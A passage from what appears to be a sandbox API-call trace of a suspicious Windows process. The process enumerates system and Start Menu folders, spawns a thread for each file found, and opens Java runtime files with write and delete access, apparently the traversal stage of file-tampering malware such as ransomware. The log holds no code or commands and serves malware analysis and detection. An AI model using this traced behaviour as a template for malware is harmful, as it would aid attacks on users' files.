returned 1 [0172.847] wcscmp (_String1="confident.cov", _String2="..") returned 1 [0172.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050d2c0 [0172.847] wcscpy (in: _Dest=0x2050d2c0, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" [0172.847] wcscat (in: _Dest=0x2050d2c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\" [0172.847] wcscat (in: _Dest=0x2050d2c0, _Source="confident.cov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\confident.cov") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\confident.cov" [0172.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050d2c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ac4 [0172.873] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2a09, dwReserved0=0x0, dwReserved1=0x0, cFileName="fyi.cov", cAlternateFileName="")) returned 1 [0172.873] wcscmp (_String1="fyi.cov", _String2=".") returned 1 [0172.873] wcscmp (_String1="fyi.cov", _String2="..") returned 1 [0172.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050be20 [0172.874] wcscpy (in: _Dest=0x2050be20, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" [0172.874] wcscat (in: _Dest=0x2050be20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\" [0172.874] wcscat (in: _Dest=0x2050be20, _Source="fyi.cov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\fyi.cov") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\fyi.cov" [0172.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050be20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ad0 [0172.875] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="generic.cov", cAlternateFileName="")) returned 1 [0172.875] wcscmp (_String1="generic.cov", _String2=".") returned 1 [0172.875] wcscmp (_String1="generic.cov", _String2="..") returned 1 [0172.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x2050cd40 [0172.875] wcscpy (in: _Dest=0x2050cd40, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" [0172.875] wcscat (in: _Dest=0x2050cd40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\" [0172.875] wcscat (in: _Dest=0x2050cd40, _Source="generic.cov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\generic.cov") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\generic.cov" [0172.875] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050cd40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ae4 [0172.876] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2886, dwReserved0=0x0, dwReserved1=0x0, cFileName="urgent.cov", cAlternateFileName="")) returned 1 [0172.876] wcscmp (_String1="urgent.cov", _String2=".") returned 1 [0172.876] wcscmp (_String1="urgent.cov", _String2="..") returned 1 [0172.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x2050bf80 [0172.876] wcscpy (in: _Dest=0x2050bf80, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" [0172.876] wcscat (in: _Dest=0x2050bf80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\" [0172.877] wcscat (in: _Dest=0x2050bf80, _Source="urgent.cov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\urgent.cov") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\urgent.cov" [0172.877] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050bf80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ae8 [0172.877] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2886, dwReserved0=0x0, dwReserved1=0x0, cFileName="urgent.cov", cAlternateFileName="")) returned 0 [0172.877] FindClose (in: hFindFile=0x1ced5800 | out: hFindFile=0x1ced5800) returned 1 [0172.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd611c0) returned 1 [0172.883] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508a90) returned 1 [0172.883] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb5250) returned 1 Thread: id = 3455 os_tid = 0x1db8 [0172.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x42c31170 [0172.849] wcscpy (in: _Dest=0x42c31170, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance" [0172.849] wcscat (in: _Dest=0x42c31170, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\" [0172.849] wcscat (in: _Dest=0x42c31170, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*" [0172.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd60a70 [0172.849] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*", lpFindFileData=0x1cd60a70 | out: lpFindFileData=0x1cd60a70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab6d126, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5e00 [0172.849] wcscmp (_String1=".", _String2=".") returned 0 [0172.849] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1cd60a70 | out: lpFindFileData=0x1cd60a70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab6d126, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.849] wcscmp (_String1="..", _String2=".") returned 1 [0172.849] wcscmp (_String1="..", _String2="..") returned 0 [0172.849] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1cd60a70 | out: lpFindFileData=0x1cd60a70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a1030d3, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8a1030d3, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8a1030d3, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x518, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backup and Restore Center.lnk", cAlternateFileName="BACKUP~1.LNK")) returned 1 [0172.850] wcscmp (_String1="Backup and Restore Center.lnk", _String2=".") returned 1 [0172.850] wcscmp (_String1="Backup and Restore Center.lnk", _String2="..") returned 1 [0172.850] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1cd60a70 | out: lpFindFileData=0x1cd60a70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89a77447, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x89a77447, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89a77447, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Create Recovery Disc.lnk", cAlternateFileName="CREATE~1.LNK")) returned 1 [0172.850] wcscmp (_String1="Create Recovery Disc.lnk", _String2=".") returned 1 [0172.850] wcscmp (_String1="Create Recovery Disc.lnk", _String2="..") returned 1 [0172.850] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1cd60a70 | out: lpFindFileData=0x1cd60a70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec13fc0c, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xec13fc0c, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8ab6d126, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x25e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0172.850] wcscmp (_String1="Desktop.ini", _String2=".") returned 1 [0172.850] wcscmp (_String1="Desktop.ini", _String2="..") returned 1 [0172.850] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1cd60a70 | out: lpFindFileData=0x1cd60a70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab46fc5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab46fc5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Remote Assistance.lnk", cAlternateFileName="REMOTE~1.LNK")) returned 1 [0172.850] wcscmp (_String1="Remote Assistance.lnk", _String2=".") returned 1 [0172.850] wcscmp (_String1="Remote Assistance.lnk", _String2="..") returned 1 [0172.850] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1cd60a70 | out: lpFindFileData=0x1cd60a70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab46fc5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab46fc5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Remote Assistance.lnk", cAlternateFileName="REMOTE~1.LNK")) returned 0 [0172.850] FindClose (in: hFindFile=0x1ced5e00 | out: hFindFile=0x1ced5e00) returned 1 [0172.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd60a70) returned 1 [0172.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c31170) returned 1 [0172.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb51b0) returned 1 Thread: id = 3456 os_tid = 0x1db4 [0172.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x42c221b0 [0172.854] wcscpy (in: _Dest=0x42c221b0, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java" [0172.854] wcscat (in: _Dest=0x42c221b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\" [0172.854] wcscat (in: _Dest=0x42c221b0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\*" [0172.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd60a70 [0172.854] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\*", lpFindFileData=0x1cd60a70 | out: lpFindFileData=0x1cd60a70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7577bc60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5e00 [0172.855] wcscmp (_String1=".", _String2=".") returned 0 [0172.855] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1cd60a70 | out: lpFindFileData=0x1cd60a70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7577bc60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.855] wcscmp (_String1="..", _String2=".") returned 1 [0172.855] wcscmp (_String1="..", _String2="..") returned 0 [0172.856] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1cd60a70 | out: lpFindFileData=0x1cd60a70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762ca4e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="About Java.lnk", cAlternateFileName="ABOUTJ~1.LNK")) returned 1 [0172.856] wcscmp (_String1="About Java.lnk", _String2=".") returned 1 [0172.856] wcscmp (_String1="About Java.lnk", _String2="..") returned 1 [0172.856] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1cd60a70 | out: lpFindFileData=0x1cd60a70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762ca4e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Check For Updates.lnk", cAlternateFileName="CHECKF~1.LNK")) returned 1 [0172.856] wcscmp (_String1="Check For Updates.lnk", _String2=".") returned 1 [0172.856] wcscmp (_String1="Check For Updates.lnk", _String2="..") returned 1 [0172.856] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1cd60a70 | out: lpFindFileData=0x1cd60a70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762a4380, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762a4380, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Configure Java.lnk", cAlternateFileName="CONFIG~1.LNK")) returned 1 [0172.856] wcscmp (_String1="Configure Java.lnk", _String2=".") returned 1 [0172.856] wcscmp (_String1="Configure Java.lnk", _String2="..") returned 1 [0172.856] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1cd60a70 | out: lpFindFileData=0x1cd60a70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7591eb80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7591eb80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7591eb80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Get Help.lnk", cAlternateFileName="GETHEL~1.LNK")) returned 1 [0172.856] wcscmp (_String1="Get Help.lnk", _String2=".") returned 1 [0172.856] wcscmp (_String1="Get Help.lnk", _String2="..") returned 1 [0172.856] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1cd60a70 | out: lpFindFileData=0x1cd60a70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x758f8a20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x758f8a20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7591eb80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visit Java.com.lnk", cAlternateFileName="VISITJ~1.LNK")) returned 1 [0172.856] wcscmp (_String1="Visit Java.com.lnk", _String2=".") returned 1 [0172.856] wcscmp (_String1="Visit Java.com.lnk", _String2="..") returned 1 [0172.856] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1cd60a70 | out: lpFindFileData=0x1cd60a70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x758f8a20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x758f8a20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7591eb80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visit Java.com.lnk", cAlternateFileName="VISITJ~1.LNK")) returned 0 [0172.856] FindClose (in: hFindFile=0x1ced5e00 | out: hFindFile=0x1ced5e00) returned 1 [0172.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd60a70) returned 1 [0172.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c221b0) returned 1 [0172.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced32b0) returned 1 Thread: id = 3457 os_tid = 0x1db0 [0172.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1ced32b0 [0172.864] wcscpy (in: _Dest=0x1ced32b0, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games" [0172.864] wcscat (in: _Dest=0x1ced32b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\" [0172.864] wcscat (in: _Dest=0x1ced32b0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\*" [0172.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd60a70 [0172.864] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\*", lpFindFileData=0x1cd60a70 | out: lpFindFileData=0x1cd60a70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa224bfc3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa224bfc3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5e00 [0172.865] wcscmp (_String1=".", _String2=".") returned 0 [0172.865] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1cd60a70 | out: lpFindFileData=0x1cd60a70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa224bfc3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa224bfc3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.865] wcscmp (_String1="..", _String2=".") returned 1 [0172.865] wcscmp (_String1="..", _String2="..") returned 0 [0172.865] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1cd60a70 | out: lpFindFileData=0x1cd60a70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8e194aab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8e194aab, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0172.865] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0172.865] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0172.865] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1cd60a70 | out: lpFindFileData=0x1cd60a70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db22b28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3db22b28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3db94f49, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameExplorer.lnk", cAlternateFileName="GAMEEX~1.LNK")) returned 1 [0172.865] wcscmp (_String1="GameExplorer.lnk", _String2=".") returned 1 [0172.865] wcscmp (_String1="GameExplorer.lnk", _String2="..") returned 1 [0172.866] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1cd60a70 | out: lpFindFileData=0x1cd60a70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db22b28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3db22b28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3db94f49, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameExplorer.lnk", cAlternateFileName="GAMEEX~1.LNK")) returned 0 [0172.866] FindClose (in: hFindFile=0x1ced5e00 | out: hFindFile=0x1ced5e00) returned 1 [0172.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd60a70) returned 1 [0172.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced32b0) returned 1 [0172.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a49b0) returned 1 Thread: id = 3458 os_tid = 0x16e8 [0172.888] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Fortaleza" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\fortaleza")) returned 0x20 [0172.888] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Fortaleza", dwFileAttributes=0x20) returned 1 [0180.301] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Fortaleza" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\fortaleza"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2acc [0180.301] GetFileSizeEx (in: hFile=0x2acc, lpFileSize=0x5b48fe40 | out: lpFileSize=0x5b48fe40*=377) returned 1 [0180.301] SetFilePointerEx (in: 